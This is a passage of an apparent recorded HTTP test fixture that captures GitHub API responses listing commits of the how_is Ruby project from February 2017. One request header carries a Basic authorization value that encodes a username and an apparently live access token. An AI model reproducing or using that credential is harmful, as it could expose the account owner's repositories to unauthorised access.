.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"163efbc45e0e06329115bd46d6bde6f08d288e22","url":"https://api.github.com/repos/how-is/how_is/commits/163efbc45e0e06329115bd46d6bde6f08d288e22","html_url":"https://github.com/how-is/how_is/commit/163efbc45e0e06329115bd46d6bde6f08d288e22"}]},{"sha":"71e07ed7927d47c2d80f6018b71543155720cb6f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzFlMDdlZDc5MjdkNDdjMmQ4MGY2MDE4YjcxNTQzMTU1NzIwY2I2Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T18:07:48Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T18:07:48Z"},"message":"Merge pull request #119 from olleolleolle/patch-1\n\nCHANGELOG typo","tree":{"sha":"6aabe899fc492301b45966941b8c4dc2dd75c2d2","url":"https://api.github.com/repos/how-is/how_is/git/trees/6aabe899fc492301b45966941b8c4dc2dd75c2d2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/71e07ed7927d47c2d80f6018b71543155720cb6f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/71e07ed7927d47c2d80f6018b71543155720cb6f","html_url":"https://github.com/how-is/how_is/commit/71e07ed7927d47c2d80f6018b71543155720cb6f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/71e07ed7927d47c2d80f6018b71543155720cb6f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"163efbc45e0e06329115bd46d6bde6f08d288e22","url":"https://api.github.com/repos/how-is/how_is/commits/163efbc45e0e06329115bd46d6bde6f08d288e22","html_url":"https://github.com/how-is/how_is/commit/163efbc45e0e06329115bd46d6bde6f08d288e22"},{"sha":"d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","url":"https://api.github.com/repos/how-is/how_is/commits/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","html_url":"https://github.com/how-is/how_is/commit/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e"}]},{"sha":"d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDI3ZTMwMGJiZWViMWM1NjA0NGNkZTBmMDYwNmU0YjhmY2ZkZDU5ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T17:01:41Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T17:01:41Z"},"message":"Merge branch ''master'' into patch-1","tree":{"sha":"6aabe899fc492301b45966941b8c4dc2dd75c2d2","url":"https://api.github.com/repos/how-is/how_is/git/trees/6aabe899fc492301b45966941b8c4dc2dd75c2d2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","html_url":"https://github.com/how-is/how_is/commit/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d27e300bbeeb1c56044cde0f0606e4b8fcfdd59e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","url":"https://api.github.com/repos/how-is/how_is/commits/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","html_url":"https://github.com/how-is/how_is/commit/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f"},{"sha":"163efbc45e0e06329115bd46d6bde6f08d288e22","url":"https://api.github.com/repos/how-is/how_is/commits/163efbc45e0e06329115bd46d6bde6f08d288e22","html_url":"https://github.com/how-is/how_is/commit/163efbc45e0e06329115bd46d6bde6f08d288e22"}]},{"sha":"163efbc45e0e06329115bd46d6bde6f08d288e22","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTYzZWZiYzQ1ZTBlMDYzMjkxMTViZDQ2ZDZiZGU2ZjA4ZDI4OGUyMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:58:58Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T16:58:58Z"},"message":"Merge pull request #120 from how-is/readme-update-api-redesign\n\nUpdate README.md about API redesign.","tree":{"sha":"c358929613a5ecc5e9939949a766a4261fdaacee","url":"https://api.github.com/repos/how-is/how_is/git/trees/c358929613a5ecc5e9939949a766a4261fdaacee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/163efbc45e0e06329115bd46d6bde6f08d288e22","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/163efbc45e0e06329115bd46d6bde6f08d288e22","html_url":"https://github.com/how-is/how_is/commit/163efbc45e0e06329115bd46d6bde6f08d288e22","comments_url":"https://api.github.com/repos/how-is/how_is/commits/163efbc45e0e06329115bd46d6bde6f08d288e22/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"09168fbddbb7ec1092490aafdf57578127a10521","url":"https://api.github.com/repos/how-is/how_is/commits/09168fbddbb7ec1092490aafdf57578127a10521","html_url":"https://github.com/how-is/how_is/commit/09168fbddbb7ec1092490aafdf57578127a10521"},{"sha":"2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","url":"https://api.github.com/repos/how-is/how_is/commits/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","html_url":"https://github.com/how-is/how_is/commit/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f"}]},{"sha":"2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjUxNWJjMjFjNGI0YjI0ZGI3NTljZjI0NzFlYmYzZDhkYzBjN2Y0Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:57:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:57:17Z"},"message":"Update README.md about API redesign.","tree":{"sha":"c358929613a5ecc5e9939949a766a4261fdaacee","url":"https://api.github.com/repos/how-is/how_is/git/trees/c358929613a5ecc5e9939949a766a4261fdaacee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","html_url":"https://github.com/how-is/how_is/commit/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2515bc21c4b4b24db759cf2471ebf3d8dc0c7f4f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"09168fbddbb7ec1092490aafdf57578127a10521","url":"https://api.github.com/repos/how-is/how_is/commits/09168fbddbb7ec1092490aafdf57578127a10521","html_url":"https://github.com/how-is/how_is/commit/09168fbddbb7ec1092490aafdf57578127a10521"}]},{"sha":"09168fbddbb7ec1092490aafdf57578127a10521","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDkxNjhmYmRkYmI3ZWMxMDkyNDkwYWFmZGY1NzU3ODEyN2ExMDUyMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:36:22Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T16:36:22Z"},"message":"Merge pull request #117 from how-is/api-redesign\n\nAPI redesign","tree":{"sha":"e63b3e25b3f3c6ca97ed831f437a56b5390b06a2","url":"https://api.github.com/repos/how-is/how_is/git/trees/e63b3e25b3f3c6ca97ed831f437a56b5390b06a2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/09168fbddbb7ec1092490aafdf57578127a10521","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/09168fbddbb7ec1092490aafdf57578127a10521","html_url":"https://github.com/how-is/how_is/commit/09168fbddbb7ec1092490aafdf57578127a10521","comments_url":"https://api.github.com/repos/how-is/how_is/commits/09168fbddbb7ec1092490aafdf57578127a10521/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","url":"https://api.github.com/repos/how-is/how_is/commits/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","html_url":"https://github.com/how-is/how_is/commit/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3"},{"sha":"e52e5b231304b35578d519c306fec2d62e2a3354","url":"https://api.github.com/repos/how-is/how_is/commits/e52e5b231304b35578d519c306fec2d62e2a3354","html_url":"https://github.com/how-is/how_is/commit/e52e5b231304b35578d519c306fec2d62e2a3354"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:46 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=6&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3339' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"79b10e52eabcf61d7d9d4b0d5ab3576a" Last-Modified: - Thu, 09 Feb 2017 16:34:58 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - F4AE:1AE0:123D53:2E357E:5CC36AEE body: encoding: ASCII-8BIT string: '[{"sha":"e52e5b231304b35578d519c306fec2d62e2a3354","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTUyZTViMjMxMzA0YjM1NTc4ZDUxOWMzMDZmZWMyZDYyZTJhMzM1NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:34:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:34:58Z"},"message":"Merge branch ''master'' of github.com:how-is/how_is into api-redesign","tree":{"sha":"e63b3e25b3f3c6ca97ed831f437a56b5390b06a2","url":"https://api.github.com/repos/how-is/how_is/git/trees/e63b3e25b3f3c6ca97ed831f437a56b5390b06a2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e52e5b231304b35578d519c306fec2d62e2a3354","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e52e5b231304b35578d519c306fec2d62e2a3354","html_url":"https://github.com/how-is/how_is/commit/e52e5b231304b35578d519c306fec2d62e2a3354","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e52e5b231304b35578d519c306fec2d62e2a3354/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"074f8c1f5ea30775256a09db9876bab0b8a64c6f","url":"https://api.github.com/repos/how-is/how_is/commits/074f8c1f5ea30775256a09db9876bab0b8a64c6f","html_url":"https://github.com/how-is/how_is/commit/074f8c1f5ea30775256a09db9876bab0b8a64c6f"},{"sha":"72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","url":"https://api.github.com/repos/how-is/how_is/commits/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3","html_url":"https://github.com/how-is/how_is/commit/72128692e68dfa02d06cbb78f9d9bcf5a39d59d3"}]},{"sha":"074f8c1f5ea30775256a09db9876bab0b8a64c6f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDc0ZjhjMWY1ZWEzMDc3NTI1NmEwOWRiOTg3NmJhYjBiOGE2NGM2Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:34:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:34:43Z"},"message":"Bump version, update changelog.","tree":{"sha":"6c61b314fc30b00c6e13f0de9d36bbc5edb9d387","url":"https://api.github.com/repos/how-is/how_is/git/trees/6c61b314fc30b00c6e13f0de9d36bbc5edb9d387"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/074f8c1f5ea30775256a09db9876bab0b8a64c6f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/074f8c1f5ea30775256a09db9876bab0b8a64c6f","html_url":"https://github.com/how-is/how_is/commit/074f8c1f5ea30775256a09db9876bab0b8a64c6f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/074f8c1f5ea30775256a09db9876bab0b8a64c6f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ca37436a0a5cda97fd759f1202ed761cd8f48f60","url":"https://api.github.com/repos/how-is/how_is/commits/ca37436a0a5cda97fd759f1202ed761cd8f48f60","html_url":"https://github.com/how-is/how_is/commit/ca37436a0a5cda97fd759f1202ed761cd8f48f60"}]},{"sha":"ca37436a0a5cda97fd759f1202ed761cd8f48f60","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2EzNzQzNmEwYTVjZGE5N2ZkNzU5ZjEyMDJlZDc2MWNkOGY0OGY2MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:22:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:22:58Z"},"message":"Fix call to from_config_file in exe/how_is.","tree":{"sha":"5444214a10f066bbcda927cd7649fd9d4b7df3f3","url":"https://api.github.com/repos/how-is/how_is/git/trees/5444214a10f066bbcda927cd7649fd9d4b7df3f3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ca37436a0a5cda97fd759f1202ed761cd8f48f60","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ca37436a0a5cda97fd759f1202ed761cd8f48f60","html_url":"https://github.com/how-is/how_is/commit/ca37436a0a5cda97fd759f1202ed761cd8f48f60","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ca37436a0a5cda97fd759f1202ed761cd8f48f60/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","url":"https://api.github.com/repos/how-is/how_is/commits/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","html_url":"https://github.com/how-is/how_is/commit/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c"}]},{"sha":"0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGEzZDljYjUzZGJkZTdmODY2YjMyZTE0N2FmM2EwZGZlMWUyMTAyYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:21:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T16:21:19Z"},"message":"Fix a spec.","tree":{"sha":"a73c09c7eaa24180239103cac9cedb2d5d302a63","url":"https://api.github.com/repos/how-is/how_is/git/trees/a73c09c7eaa24180239103cac9cedb2d5d302a63"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","html_url":"https://github.com/how-is/how_is/commit/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0a3d9cb53dbde7f866b32e147af3a0dfe1e2102c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://a